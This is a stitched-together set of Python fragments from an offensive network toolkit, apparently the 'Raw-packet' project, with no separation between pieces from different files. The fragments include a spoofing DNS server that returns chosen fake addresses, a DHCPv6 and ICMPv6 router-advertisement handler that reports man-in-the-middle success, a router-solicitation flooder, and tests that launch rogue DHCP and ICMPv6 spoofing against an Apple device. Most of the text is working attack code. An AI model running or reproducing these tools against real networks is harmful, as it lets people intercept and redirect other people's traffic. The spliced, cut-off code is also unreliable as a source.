'DHCPv4'], prn=self._deauth_stop_prn, filters=network_filters, network_interface=self._your['network-interface'], scapy_filter='icmp6 or (udp and (port 67 or 68))', scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
# region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = [''] __license__ = 'MIT' __version__ = '0.1.1' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Stable' # endregion # region Main function if __name__ == "__main__": # region Check user, platform and print banner Base = Base() Base.check_platform() Base.check_user() Base.print_banner() # endregion # region Parse script arguments parser = ArgumentParser(description='ICMPv6 router advertisement packets sender') parser.add_argument('-i', '--interface', type=str, help='Set interface name for send TCP packets') parser.add_argument('-m', '--src_mac', type=str, help='Set src mac address (not required)', default=None) parser.add_argument('-M', '--dst_mac', type=str, help='Set dst mac address (not required)', default=None) parser.add_argument('-a', '--src_ipv6', type=str, help='Set src ipv6 address (not required)', default=None) parser.add_argument('-A', '--dst_ipv6', type=str, help='Set dst ipv6 address (not required)', default=None)
class RawDnsServer: # region Set properties base: Base = Base() sniff: RawSniff = RawSniff() dns: RawDNS = RawDNS() rawSocket: socket = socket(AF_PACKET, SOCK_RAW) your_ipv4_address: Union[None, str] = None your_ipv6_address: Union[None, str] = None config: Dict[str, Dict[str, Union[bool, str, List[str]]]] = dict() A_DNS_QUERY: int = 1 AAAA_DNS_QUERY: int = 28 NS_DNS_QUERY: int = 2 MX_DNS_QUERY: int = 15 log_file_name: Union[None, str] = None log_file_format: Union[None, str] = None # endregion # region Init def __init__(self): # Iptables drop output ICMP and ICMPv6 destination-unreachable packets run('iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP', shell=True) run('ip6tables -I OUTPUT -p ipv6-icmp --icmpv6-type destination-unreachable -j DROP', shell=True) # endregion # region Write log file def _write_to_log(self, from_ip_address: str, to_ip_address: str, query_type: str, query_name: str, answer_address: str): if not isfile(self.log_file_name + '.' + self.log_file_format): with open(file=self.log_file_name + '.' + self.log_file_format, mode='w') as log_file: if self.log_file_format == 'csv': log_file.write( 'From IP address,To IP address,Query type,Query name,Answer address\n' ) if self.log_file_format == 'xml': log_file.write( '<?xml version="1.0" ?>\n<dns_queries>\n</dns_queries>\n' ) if self.log_file_format == 'json': log_file.write('{\n"dns_queries": [\n') with open(file=self.log_file_name + '.' + self.log_file_format, mode='r+') as log_file: log_file_pointer: int = getsize(self.log_file_name + '.' + self.log_file_format) if self.log_file_format == 'csv' or self.log_file_format == 'txt': log_file.seek(log_file_pointer) log_file.write(from_ip_address + ',' + to_ip_address + ',' + query_type + ',' + query_name + ',' + answer_address + '\n') if self.log_file_format == 'json': if log_file_pointer > 20: log_file.seek(log_file_pointer - 4, 0) log_file.write(',') else: log_file.seek(log_file_pointer) dump( { 'from_ip_address': from_ip_address, 'to_ip_address': to_ip_address, 'query_type': query_type, 'query_name': query_name, 'answer_address': answer_address }, log_file, indent=4) log_file.write(']\n}\n') if self.log_file_format == 'xml': log_file.seek(log_file_pointer - 15, 0) log_file.write('\t<dns_query>\n' + '\t\t<from_ip_address>' + from_ip_address + '</from_ip_address>\n' + '\t\t<to_ip_address>' + to_ip_address + '</to_ip_address>\n' + '\t\t<query_type>' + query_type + '</query_type>\n' + '\t\t<query_name>' + query_name + '</query_name>\n' + '\t\t<answer_address>' + answer_address + '</answer_address>\n' + '\t</dns_query>\n' + '</dns_queries>\n') # endregion # region DNS integer query type to string @staticmethod def _int_type_to_str_type(query_type: int = 1) -> str: if query_type == RawDnsServer.A_DNS_QUERY: return 'A' elif query_type == RawDnsServer.AAAA_DNS_QUERY: return 'AAAA' elif query_type == RawDnsServer.NS_DNS_QUERY: return 'NS' elif query_type == RawDnsServer.MX_DNS_QUERY: return 'MX' else: return 'A' # endregion # region DNS string query type to integer @staticmethod def _str_type_to_int_type(query_type: str = 'A') -> int: if query_type == 'A': return RawDnsServer.A_DNS_QUERY elif query_type == 'AAAA': return RawDnsServer.AAAA_DNS_QUERY elif query_type == 'NS': return RawDnsServer.NS_DNS_QUERY elif query_type == 'MX': return RawDnsServer.MX_DNS_QUERY else: return 1 # endregion # region Get first IPv4 or IPv6 address of domain @staticmethod def _get_domain_address(query_name: str, query_type: int = 1) -> Union[List[str], None]: # region Check DNS query type and set proto if query_type == RawDnsServer.AAAA_DNS_QUERY: proto: int = AF_INET6 elif query_type == RawDnsServer.A_DNS_QUERY: proto: int = AF_INET else: return None # endregion # region Resolve query name try: # Get list of addresses addresses = getaddrinfo(query_name, None, proto) # Return first address from list return [addresses[0][4][0]] except gaierror: # Could not resolve name return None # endregion # endregion # region DNS reply function def _reply(self, request: Dict) -> None: try: # region This request is DNS query assert 'DNS' in request.keys(), 'This is not DNS request!' for query in request['DNS']['queries']: # region Local variables assert ('IPv4' in request.keys() or 'IPv6' in request.keys()), 'Not found Network layer protocol!' ip_src: Union[None, str] = None ip_dst: Union[None, str] = None if 'IPv4' in request.keys(): ip_src: Union[None, str] = request['IPv4']['destination-ip'] ip_dst: Union[None, str] = request['IPv4']['source-ip'] if 'IPv6' in request.keys(): ip_src: Union[None, str] = request['IPv6']['destination-ip'] ip_dst: Union[None, str] = request['IPv6']['source-ip'] answers: List[Dict[str, Union[int, str]]] = list() addresses: Union[None, str, List[str]] = None success: bool = False # endregion # region Check query name if query['name'].endswith('.'): query['name']: str = query['name'][:-1] # endregion # region Check config for fake_domain_regexp in self.config.keys(): if match(fake_domain_regexp, query['name']): # region No such domain if 'no such domain' in self.config[ fake_domain_regexp].keys(): if self.config[fake_domain_regexp][ 'no such domain']: addresses = ['no such domain'] break # endregion # region Success domain if 'success' in self.config[fake_domain_regexp].keys(): if self.config[fake_domain_regexp]['success']: success = True # endregion # region Fake addresses is set query_type_string: str = self._int_type_to_str_type( query['type']) if query_type_string in self.config[ fake_domain_regexp].keys(): if type(self.config[fake_domain_regexp] [query_type_string]) is str: if self.config[fake_domain_regexp][ query_type_string] == 'my ipv4 address': addresses = [self.your_ipv4_address] elif self.config[fake_domain_regexp][ query_type_string] == 'my ipv6 address': addresses = [self.your_ipv6_address] else: addresses = [ self.config[fake_domain_regexp] [query_type_string] ] if type(self.config[fake_domain_regexp] [query_type_string]) is list: addresses = self.config[fake_domain_regexp][ query_type_string] break # endregion # region Fake address is NOT set else: addresses = self._get_domain_address( query['name'], query['type']) # endregion # endregion # region DNS query name NOT in fake domains regexp list if addresses is None: addresses = self._get_domain_address( query['name'], query['type']) # endregion # endregion # region Answer addresses is set assert addresses is not None, 'Addresses in DNS answer is None!' # region Create answer list dns_answer_flags = 0x8080 for address in addresses: if address == 'no such domain': dns_answer_flags = 0x8183 answers = list() break else: answers.append({ 'name': query['name'], 'type': query['type'], 'class': query['class'], 'ttl': 65535, 'address': address }) # endregion # region Make dns answer packet dns_answer_packet: Union[ None, bytes] = self.dns.make_response_packet( ethernet_src_mac=request['Ethernet']['destination'], ethernet_dst_mac=request['Ethernet']['source'], ip_src=ip_src, ip_dst=ip_dst, udp_src_port=request['UDP']['destination-port'], udp_dst_port=request['UDP']['source-port'], transaction_id=request['DNS']['transaction-id'], flags=dns_answer_flags, queries=[query], answers_address=answers) # endregion # region Send DNS answer packet if dns_answer_packet is not None: self.rawSocket.send(dns_answer_packet) # endregion # region Print info message if success and query['name'] != '': self.base.print_success( 'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ', self._int_type_to_str_type(query['type']), ' domain: ', query['name'], ' answer: ', (', '.join(addresses))) if not success and query['name'] != '': self.base.print_info( 'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ', self._int_type_to_str_type(query['type']), ' domain: ', query['name'], ' answer: ', (', '.join(addresses))) self._write_to_log(from_ip_address=ip_dst, to_ip_address=ip_src, query_type=self._int_type_to_str_type( query['type']), query_name=query['name'], answer_address=(' '.join(addresses))) # endregion # endregion # endregion except AssertionError: pass # endregion # region Start DNS listener def listen(self, listen_network_interface: str = 'eth0', listen_port: int = 53, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, fake_answers: bool = False, fake_ipv4_addresses: List[str] = [], fake_ipv6_addresses: List[str] = [], fake_domains_regexp: List[str] = [], no_such_domains: List[str] = [], listen_ipv6: bool = False, disable_ipv4: bool = False, success_domains: List[str] = [], config_file: Union[None, str] = None, log_file_name: str = 'dns_server_log', log_file_format: str = 'csv') -> None: try: # region Set log file name and format self.log_file_name = log_file_name self.log_file_format = log_file_format # endregion # region Set listen UDP port if listen_port != 53: assert 0 < listen_port < 65536, \ 'Bad value in "listen_port": ' + self.base.error_text(str(listen_port)) + \ ' listen UDP port must be in range: ' + self.base.info_text('1 - 65535') # endregion # region Get your MAC, IP and IPv6 addresses your_mac_address = self.base.get_interface_mac_address( listen_network_interface) self.your_ipv4_address = self.base.get_interface_ip_address( listen_network_interface) self.your_ipv6_address = self.base.make_ipv6_link_address( your_mac_address) if listen_ipv6: self.your_ipv6_address = self.base.get_interface_ipv6_link_address( listen_network_interface) # endregion # region Bind raw socket self.rawSocket.bind((listen_network_interface, 0)) # endregion # region Check config file if config_file is not None: assert isfile( config_file ), 'Not found config file: ' + self.base.error_text( str(config_file)) with open(config_file, 'r') as config_file_descriptor: self.config = load(config_file_descriptor) # endregion # region Set fake ipv4 addresses if len(fake_ipv4_addresses) == 0: fake_ipv4_addresses = [self.your_ipv4_address] else: for fake_ipv4_address in fake_ipv4_addresses: assert self.base.ip_address_validation(fake_ipv4_address), \ 'Bad fake IPv4 address: ' + self.base.error_text(fake_ipv4_address) + \ ' example IPv4 address: ' + self.base.info_text('192.168.1.1') # endregion # region Set fake ipv6 addresses if len(fake_ipv6_addresses) == 0: fake_ipv6_addresses = [self.your_ipv6_address] else: for fake_ipv6_address in fake_ipv6_addresses: assert self.base.ipv6_address_validation(fake_ipv6_address), \ 'Bad fake IPv6 address: ' + self.base.error_text(fake_ipv6_address) + \ ' example IPv6 address: ' + self.base.info_text('fd00::1') # endregion # region Set success domains for success_domain in success_domains: try: self.config[success_domain].update({'success': True}) except KeyError: self.config[success_domain] = {'success': True} # endregion # region Set no such domains for no_such_domain in no_such_domains: try: self.config[no_such_domain].update( {'no such domain': True}) except KeyError: self.config[no_such_domain] = {'no such domain': True} # endregion # region Set fake domains regexp for fake_domain_regexp in fake_domains_regexp: try: self.config[fake_domain_regexp].update({ 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses }) except KeyError: self.config[fake_domain_regexp] = { 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses } # endregion # region Set fake answers if fake_answers: try: self.config['.*'].update({ 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses }) except KeyError: self.config['.*'] = { 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses } # endregion # region Check target MAC address if target_mac_address is not None: assert self.base.mac_address_validation(target_mac_address), \ 'Bad target MAC address: ' + self.base.error_text(target_mac_address) + \ ' example MAC address: ' + self.base.info_text('01:23:45:67:89:0a') self.target_mac_address = target_mac_address # endregion # region Check target IPv4 address if target_ipv4_address is not None: assert self.base.ip_address_validation(target_ipv4_address), \ 'Bad target IPv4 address: ' + self.base.error_text(target_ipv4_address) + \ ' example IPv4 address: ' + self.base.info_text('192.168.1.1') # endregion # region Check target IPv6 address if target_ipv6_address is not None: assert self.base.ipv6_address_validation(target_ipv6_address), \ 'Bad target IPv6 address: ' + self.base.error_text(target_ipv6_address) + \ ' example IPv6 address: ' + self.base.info_text('fd00::1') # endregion # region Sniffing DNS requests # region Set network filter network_filters = {} if listen_network_interface != 'lo': if target_mac_address is not None: network_filters['Ethernet'] = { 'source': target_mac_address } else: network_filters['Ethernet'] = { 'not-source': your_mac_address } if target_ipv4_address is not None: network_filters['IPv4'] = { 'source-ip': target_ipv4_address } if target_ipv6_address is not None: network_filters['IPv6'] = { 'source-ip': target_ipv6_address } network_filters['IPv4'] = {'not-source-ip': '127.0.0.1'} network_filters['IPv6'] = {'not-source-ip': '::1'} network_filters['UDP'] = {'destination-port': listen_port} else: network_filters['Ethernet'] = { 'source': '00:00:00:00:00:00', 'destination': '00:00:00:00:00:00' } network_filters['IPv4'] = { 'source-ip': '127.0.0.1', 'destination-ip': '127.0.0.1' } network_filters['IPv6'] = { 'source-ip': '::1', 'destination-ip': '::1' } network_filters['UDP'] = {'destination-port': listen_port} # endregion # region Start sniffer if listen_ipv6: if disable_ipv4: self.sniff.start(protocols=['IPv6', 'UDP', 'DNS'], prn=self._reply, filters=network_filters) else: self.sniff.start(protocols=['IPv4', 'IPv6', 'UDP', 'DNS'], prn=self._reply, filters=network_filters) else: self.sniff.start(protocols=['IPv4', 'UDP', 'DNS'], prn=self._reply, filters=network_filters) # endregion # endregion except AssertionError as Error: self.base.print_error(Error.args[0]) exit(1) except JSONDecodeError: self.base.print_error('Could not parse config file: ', config_file, ' invalid json syntax') exit(1)
def reply(request): # region Define global variables global global_socket global disable_dhcpv6 global clients global target_ipv6_address global first_suffix global last_suffix # endregion # region Get client MAC address client_mac_address = request['Ethernet']['source'] # endregion # region Check this client already in global clients dictionary client_already_in_dictionary = False if client_mac_address in clients.keys(): client_already_in_dictionary = True # endregion # region ICMPv6 if 'ICMPv6' in request.keys(): # region ICMPv6 Router Solicitation if request['ICMPv6']['type'] == 133: # Make and send ICMPv6 router advertisement packet icmpv6_ra_packet = icmpv6.make_router_advertisement_packet( ethernet_src_mac=your_mac_address, ethernet_dst_mac=request['Ethernet']['source'], ipv6_src=your_local_ipv6_address, ipv6_dst=request['IPv6']['source-ip'], dns_address=recursive_dns_address, domain_search=dns_search, prefix=network_prefix, router_lifetime=5000) global_socket.send(icmpv6_ra_packet) # Print info messages Base.print_info( "ICMPv6 Router Solicitation request from: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")") Base.print_info( "ICMPv6 Router Advertisement reply to: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")") # Delete this client from global clients dictionary try: del clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # Add client info in global clients dictionary add_client_info_in_dictionary(client_mac_address, { "router solicitation": True, "network prefix": network_prefix }, client_already_in_dictionary) # endregion # region ICMPv6 Neighbor Solicitation if request['ICMPv6']['type'] == 135: # region Get ICMPv6 Neighbor Solicitation target address target_address = request['ICMPv6']['target-address'] # endregion # region Network prefix in ICMPv6 Neighbor Solicitation target address is bad if not target_address.startswith('fe80::'): if not target_address.startswith(network_prefix_address): na_packet = icmpv6.make_neighbor_advertisement_packet( ethernet_src_mac=your_mac_address, ipv6_src=your_local_ipv6_address, target_ipv6_address=target_address) for _ in range(5): global_socket.send(na_packet) # endregion # region ICMPv6 Neighbor Solicitation target address is your local IPv6 address if target_address == your_local_ipv6_address: # Add client info in global clients dictionary add_client_info_in_dictionary( client_mac_address, {"neighbor solicitation your address": True}, client_already_in_dictionary) # endregion # region DHCPv6 advertise address is set # This client already in dictionary if client_already_in_dictionary: # Advertise address for this client is set if 'advertise address' in clients[client_mac_address].keys(): # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address if target_address == clients[client_mac_address][ 'advertise address']: # Add client info in global clients dictionary add_client_info_in_dictionary( client_mac_address, {"neighbor solicitation advertise address": True}, client_already_in_dictionary) # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address else: if not target_address.startswith('fe80::'): na_packet = icmpv6.make_neighbor_advertisement_packet( ethernet_src_mac=your_mac_address, ipv6_src=your_local_ipv6_address, target_ipv6_address=target_address) for _ in range(5): global_socket.send(na_packet) # endregion # region Print MITM Success message if not disable_dhcpv6: try: if clients[client_mac_address]['dhcpv6 mitm'] == 'success': test = clients[client_mac_address][ 'neighbor solicitation your address'] try: test = clients[client_mac_address][ 'success message'] except KeyError: Base.print_success( "MITM success: ", clients[client_mac_address] ['advertise address'] + " (" + client_mac_address + ")") clients[client_mac_address].update( {"success message": True}) except KeyError: pass # endregion # endregion # endregion # region DHCPv6 # Protocol DHCPv6 is enabled if not disable_dhcpv6: if 'DHCPv6' in request.keys(): # region DHCPv6 Solicit if request['DHCPv6']['message-type'] == 1: ''' # Get Client DUID time from Client Identifier DUID client_duid_time = 0 for dhcpv6_option in request['DHCPv6']['options']: if dhcpv6_option['type'] == 1: client_duid_time = dhcpv6_option['value']['duid-time'] ''' # Get Client Identifier and IA_NA/IAID values cid = None iaid = None for opt in request['DHCPv6']['options']: if opt['type'] == 1: cid = opt['value']['raw'] elif opt['type'] == 3: iaid = opt['value']['iaid'] if cid == None or iaid == None: Base.print_info( "Malformed DHCPv6 Solicit from: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")", " XID: ", hex(request['DHCPv6']['transaction-id'])) return # Set IPv6 address in advertise packet if target_ipv6_address is not None: ipv6_address = target_ipv6_address else: ipv6_address = network_prefix.split('/')[0] + str( randint(first_suffix, last_suffix)) # Make and send DHCPv6 advertise packet dhcpv6_advertise = dhcpv6.make_advertise_packet( ethernet_src_mac=your_mac_address, ethernet_dst_mac=request['Ethernet']['source'], ipv6_src=your_local_ipv6_address, ipv6_dst=request['IPv6']['source-ip'], transaction_id=request['DHCPv6']['transaction-id'], dns_address=recursive_dns_address, domain_search=dns_search, ipv6_address=ipv6_address, cid=cid, iaid=iaid, preference=255) global_socket.send(dhcpv6_advertise) # Print info messages Base.print_info( "DHCPv6 Solicit from: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")", " XID: ", hex(request['DHCPv6']['transaction-id'])) Base.print_info( "DHCPv6 Advertise to: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")", " XID: ", hex(request['DHCPv6']['transaction-id']), " IAA: ", ipv6_address) # Add client info in global clients dictionary add_client_info_in_dictionary(client_mac_address, { "dhcpv6 solicit": True, "advertise address": ipv6_address }, client_already_in_dictionary) # endregion # region DHCPv6 Request if request['DHCPv6']['message-type'] == 3: # Set DHCPv6 reply packet dhcpv6_reply = None # region Get Client DUID time, IPv6 address and Server MAC address client_duid_time = 0 client_ipv6_address = None server_mac_address = None for dhcpv6_option in request['DHCPv6']['options']: if dhcpv6_option['type'] == 1: client_duid_time = dhcpv6_option['value']['duid-time'] if dhcpv6_option['type'] == 2: server_mac_address = dhcpv6_option['value'][ 'mac-address'] if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion if server_mac_address and client_ipv6_address is not None: # Check Server MAC address if server_mac_address != your_mac_address: add_client_info_in_dictionary( client_mac_address, { "dhcpv6 mitm": "error: server mac address is not your mac address" }, client_already_in_dictionary) else: add_client_info_in_dictionary( client_mac_address, {"dhcpv6 mitm": "success"}, client_already_in_dictionary) try: if client_ipv6_address == clients[ client_mac_address]['advertise address']: dhcpv6_reply = dhcpv6.make_reply_packet( ethernet_src_mac=your_mac_address, ethernet_dst_mac=request['Ethernet'] ['source'], ipv6_src=your_local_ipv6_address, ipv6_dst=request['IPv6']['source-ip'], transaction_id=request['DHCPv6'] ['transaction-id'], dns_address=recursive_dns_address, domain_search=dns_search, ipv6_address=client_ipv6_address, client_duid_timeval=client_duid_time) global_socket.send(dhcpv6_reply) else: add_client_info_in_dictionary( client_mac_address, { "dhcpv6 mitm": "error: client request address is not advertise address" }, client_already_in_dictionary) except KeyError: add_client_info_in_dictionary( client_mac_address, { "dhcpv6 mitm": "error: not found dhcpv6 solicit request for this client" }, client_already_in_dictionary) # Print info messages Base.print_info( "DHCPv6 Request from: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")", " XID: ", hex(request['DHCPv6']['transaction-id']), " Server: ", server_mac_address, " IAA: ", client_ipv6_address) if dhcpv6_reply is not None: Base.print_info( "DHCPv6 Reply to: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")", " XID: ", hex(request['DHCPv6']['transaction-id']), " Server: ", server_mac_address, " IAA: ", client_ipv6_address) else: if clients[client_mac_address]["dhcpv6 mitm"] == \ "error: server mac address is not your mac address": Base.print_error( "Server MAC address in DHCPv6 Request is not your MAC address " + "for this client: ", client_mac_address) if clients[client_mac_address]["dhcpv6 mitm"] == \ "error: client request address is not advertise address": Base.print_error( "Client requested IPv6 address is not advertise IPv6 address " + "for this client: ", client_mac_address) if clients[client_mac_address]["dhcpv6 mitm"] == \ "error: not found dhcpv6 solicit request for this client": Base.print_error( "Could not found DHCPv6 solicit request " + "for this client: ", client_mac_address) # endregion # region DHCPv6 Release if request['DHCPv6']['message-type'] == 8: # Print info message Base.print_info( "DHCPv6 Release from: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")", " XID: ", hex(request['DHCPv6']['transaction-id'])) # Delete this client from global clients dictionary try: del clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # endregion # region DHCPv6 Confirm if request['DHCPv6']['message-type'] == 4: # region Get Client DUID time and client IPv6 address client_duid_time = 0 client_ipv6_address = None for dhcpv6_option in request['DHCPv6']['options']: if dhcpv6_option['type'] == 1: client_duid_time = dhcpv6_option['value']['duid-time'] if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion # region Make and send DHCPv6 Reply packet dhcpv6_reply = dhcpv6.make_reply_packet( ethernet_src_mac=your_mac_address, ethernet_dst_mac=request['Ethernet']['source'], ipv6_src=your_local_ipv6_address, ipv6_dst=request['IPv6']['source-ip'], transaction_id=request['DHCPv6']['transaction-id'], dns_address=recursive_dns_address, domain_search=dns_search, ipv6_address=client_ipv6_address, client_duid_timeval=client_duid_time) global_socket.send(dhcpv6_reply) # endregion # region Add Client info in global clients dictionary and print info message add_client_info_in_dictionary( client_mac_address, { "advertise address": client_ipv6_address, "dhcpv6 mitm": "success" }, client_already_in_dictionary) Base.print_info( "DHCPv6 Confirm from: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")", " XID: ", hex(request['DHCPv6']['transaction-id']), " IAA: ", client_ipv6_address) Base.print_info( "DHCPv6 Reply to: ", request['IPv6']['source-ip'] + " (" + request['Ethernet']['source'] + ")", " XID: ", hex(request['DHCPv6']['transaction-id']), " IAA: ", client_ipv6_address)
class ScriptAppleRogueDhcpTest(unittest.TestCase): # region Properties root_path = dirname( dirname(dirname(dirname(dirname(dirname(abspath(__file__))))))) path.append(root_path) from raw_packet.Tests.Unit_tests.variables import Variables from raw_packet.Utils.base import Base base: Base = Base() # endregion def kill_test_process(self) -> None: while self.base.get_process_pid('/apple_rogue_dhcp.py') != -1: kill(self.base.get_process_pid('/apple_rogue_dhcp.py'), SIGTERM) sleep(0.1) @staticmethod def restart_dhcp_server_over_ssh() -> None: run([ 'ssh ' + ScriptAppleRogueDhcpTest.Variables.router_root_username + '@' + ScriptAppleRogueDhcpTest.Variables.router_ipv4_address + ' "/etc/init.d/dnsmasq restart"' ], shell=True) def check_apple_device_connected(self) -> None: self.kill_test_process() sleep(5) response: int = system( "ping -c 1 " + ScriptAppleRogueDhcpTest.Variables.apple_device_ipv4_address) if response == 0: return None else: self.restart_dhcp_server_over_ssh() while response != 0: response = system("ping -c 1 " + ScriptAppleRogueDhcpTest. Variables.apple_device_ipv4_address) def test01_start_without_params(self): mitm_process = run([ 'python3 ' + self.root_path + '/Scripts/Apple/apple_rogue_dhcp.py' ], stdout=PIPE, stderr=STDOUT, shell=True) mitm_process_stdout: str = mitm_process.stdout.decode('utf-8') print(mitm_process_stdout) self.assertIn('the following arguments are required', mitm_process_stdout) self.assertIn('--target_mac', mitm_process_stdout) self.assertIn('--target_new_ip', mitm_process_stdout) def test02_start_without_target_new_ip(self): mitm_process = run([ 'python3 ' + self.root_path + '/Scripts/Apple/apple_rogue_dhcp.py --target_mac ' + ScriptAppleRogueDhcpTest.Variables.apple_device_mac_address ], stdout=PIPE, stderr=STDOUT, shell=True) mitm_process_stdout: str = mitm_process.stdout.decode('utf-8') print(mitm_process_stdout) self.assertIn('the following arguments are required', mitm_process_stdout) self.assertIn('--target_new_ip', mitm_process_stdout) def test03_start_without_target_mac(self): mitm_process = run([ 'python3 ' + self.root_path + '/Scripts/Apple/apple_rogue_dhcp.py --target_new_ip ' + ScriptAppleRogueDhcpTest.Variables.apple_device_new_ipv4_address ], stdout=PIPE, stderr=STDOUT, shell=True) mitm_process_stdout: str = mitm_process.stdout.decode('utf-8') print(mitm_process_stdout) self.assertIn('the following arguments are required', mitm_process_stdout) self.assertIn('--target_mac', mitm_process_stdout) def test04_main_bad_interface(self): mitm_process = run([ 'python3 ' + self.root_path + '/Scripts/Apple/apple_rogue_dhcp.py --interface ' + ScriptAppleRogueDhcpTest.Variables.bad_network_interface + ' --target_mac ' + ScriptAppleRogueDhcpTest.Variables.apple_device_mac_address + ' --target_new_ip ' + ScriptAppleRogueDhcpTest.Variables.apple_device_new_ipv4_address ], stdout=PIPE, stderr=STDOUT, shell=True) mitm_process_stdout: str = mitm_process.stdout.decode('utf-8') print(mitm_process_stdout) self.assertIn(ScriptAppleRogueDhcpTest.Variables.bad_network_interface, mitm_process_stdout) def test05_main(self): self.check_apple_device_connected() run([ 'python3 ' + self.root_path + '/Scripts/Others/network_conflict_creator.py --interface ' + ScriptAppleRogueDhcpTest.Variables.test_network_interface + ' --target_mac ' + ScriptAppleRogueDhcpTest.Variables.apple_device_mac_address + ' --target_ip ' + ScriptAppleRogueDhcpTest.Variables.apple_device_ipv4_address + ' --quiet' ], shell=True) run([ 'python3 ' + self.root_path + '/Scripts/Apple/apple_rogue_dhcp.py --interface ' + ScriptAppleRogueDhcpTest.Variables.test_network_interface + ' --target_mac ' + ScriptAppleRogueDhcpTest.Variables.apple_device_mac_address + ' --target_new_ip ' + ScriptAppleRogueDhcpTest.Variables.apple_device_new_ipv4_address + ' --quiet' ], shell=True) sleep(5) response: int = system( "ping -c 1 " + ScriptAppleRogueDhcpTest.Variables.apple_device_new_ipv4_address) self.assertEqual(response, 0) self.check_apple_device_connected()
#!/usr/bin/env python3 from raw_packet.Utils.base import Base from raw_packet.Utils.network import IP_raw, TCP_raw, Ethernet_raw, ARP_raw from argparse import ArgumentParser from socket import socket, AF_PACKET, SOCK_RAW from random import randint from time import sleep from raw_packet.Utils.tm import ThreadManager from scapy.all import sniff, TCP, ARP Base = Base() Base.check_platform() Base.check_user() current_network_interface = None src_mac_address = None src_ip_address = None src_port = None dst_mac_address = None dst_ip_address = None dst_port = None data = None tm = ThreadManager(3) response_sequence_number = 0 response_acknowledgement_number = 0
#!/usr/bin/env python3 from raw_packet.Utils.base import Base from argparse import ArgumentParser from raw_packet.Utils.network import ICMPv6_raw, Ethernet_raw from socket import socket, AF_PACKET, SOCK_RAW from sys import exit Base = Base() Base.check_platform() Base.check_user() Base.print_banner() if __name__ == "__main__": parser = ArgumentParser(description='ICMPv6 router solicit packets sender') parser.add_argument('-i', '--interface', type=str, help='Set interface name for send TCP packets') parser.add_argument('-m', '--src_mac', type=str, help='Set src mac address (not required)', default=None) parser.add_argument('-a', '--src_ipv6', type=str, help='Set src ipv6 address (not required)', default=None) parser.add_argument('-p', '--number_of_packets', type=int, help='Set number of packets (default=100000)', default=100000) parser.add_argument('-t', '--number_of_iterations', type=int, help='Set number of iteration (default=100)', default=100) args = parser.parse_args() icmpv6 = ICMPv6_raw() eth = Ethernet_raw() rs_packets = [] if args.interface is None:
class ScriptICMPV6ScanTest(unittest.TestCase): # region Properties - must change for your tests root_path = dirname( dirname(dirname(dirname(dirname(dirname(abspath(__file__))))))) path.append(root_path) from raw_packet.Utils.base import Base from raw_packet.Tests.Unit_tests.variables import Variables base: Base = Base() # endregion @staticmethod def get_ipv6_router_mac_address_over_ssh() -> str: gateway_mac_address: str = '' target_command = run([ 'ssh ' + ScriptICMPV6ScanTest.Variables.apple_device_username + '@' + ScriptICMPV6ScanTest.Variables.apple_device_ipv4_address + ' "ndp -an | grep ' + ScriptICMPV6ScanTest.Variables.router_ipv6_link_address + '"' ], shell=True, stdout=PIPE, stderr=STDOUT) target_ndp_table: str = target_command.stdout.decode('utf-8') target_ndp_table: str = sub(r' +', ' ', target_ndp_table) target_ndp_table: List[str] = target_ndp_table.split(' ') try: return target_ndp_table[1] except IndexError: return gateway_mac_address @staticmethod def restart_network_interface_over_ssh( network_interface: Union[None, str] = None) -> None: if network_interface is None: network_interface = ScriptICMPV6ScanTest.Variables.apple_device_network_interface run([ 'ssh ' + ScriptICMPV6ScanTest.Variables.apple_device_root_username + '@' + ScriptICMPV6ScanTest.Variables.apple_device_ipv4_address + ' "ifconfig ' + network_interface + ' down && ifconfig ' + network_interface + ' up"' ], shell=True) @staticmethod def restart_dhcp_server_over_ssh() -> None: run([ 'ssh ' + ScriptICMPV6ScanTest.Variables.router_root_username + '@' + ScriptICMPV6ScanTest.Variables.router_ipv4_address + ' "/etc/init.d/dnsmasq restart"' ], shell=True) def test01_neighbor_advertisement(self): while self.base.macos_encode_mac_address(ScriptICMPV6ScanTest.Variables.router_mac_address) != \ self.get_ipv6_router_mac_address_over_ssh(): self.restart_network_interface_over_ssh() sleep(10) Popen([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.test_network_interface + ' --technique 2 --target_mac ' + ScriptICMPV6ScanTest.Variables.apple_device_mac_address ], shell=True) sleep(20) current_router_mac_address = self.get_ipv6_router_mac_address_over_ssh( ) while self.base.get_process_pid('/icmpv6_spoof.py') != -1: kill(self.base.get_process_pid('/icmpv6_spoof.py'), SIGTERM) sleep(0.5) self.assertEqual( self.base.macos_encode_mac_address( ScriptICMPV6ScanTest.Variables.your_mac_address), current_router_mac_address) def test02_router_advertisement(self): while 